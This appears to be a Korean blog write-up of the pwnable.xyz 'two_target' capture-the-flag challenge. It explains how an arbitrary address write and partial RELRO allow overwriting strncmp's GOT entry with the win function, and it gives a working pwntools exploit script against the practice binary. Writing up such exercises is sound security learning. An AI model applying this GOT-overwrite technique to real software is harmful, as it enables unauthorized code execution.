본문 바로가기

pwn/pwnable.xyz

pwnable.xyz / two_target

prob

값을 역연산하던가 아님 aaw로 풀 수 있는것 같다

당연히 aaw로 풀었다 ( 역연산은 어려워.... )

 

 

main

인적사항을 쓰고 변경할 수 있다 ( 각기능은 아래와 같음 )

  1. 이름을 입력 (auth에서 비교할 key 값)
  2. 나이를 입력 ( aaw할 주소 씀 )
  3. 국적을 변경 ( 주소에 쓸 값 )
  4. get shell ( auth함수로 검증하고 참이면 win함수로 flag를 출력한다 )

 

mitigation

partial RELRO가 걸려있어서 got overwrite이 가능하다 aaw로 strncmp함수 got를 win함수의 got로 overwrite한 뒤

4번으로 auth함수에 있는 strncmp함수를 호출해서 flag가 출력되도록 했다

 

 

flag

 

 

from pwn import *

p = process("./two_target")

def ch_nat(data):
    p.recvuntil(b"> ")
    p.sendline(b"2")
    p.recvuntil(b"nationality: ")
    p.sendline(data)

def ch_age(data):
    p.recvuntil(b"> ")
    p.sendline("3")
    p.recvuntil(b"age: ")
    p.sendline(str(data))



strncmp = 0x603018
win = 0x40099c

payload = b"A" * 0x10
payload += p64(strncmp)
ch_nat(payload)

ch_age(0x40099c)

p.recvuntil(b"> ")
p.sendline(b"4")

p.interactive()

'pwn > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz / TLSv00  (0) 2022.05.11
pwnable.xyz / free spirit  (0) 2022.05.10
pwnable.xyz / xor  (0) 2022.05.06
pwnable.xyz / note  (0) 2022.05.06
pwnable.xyz/GrownUp  (0) 2022.02.14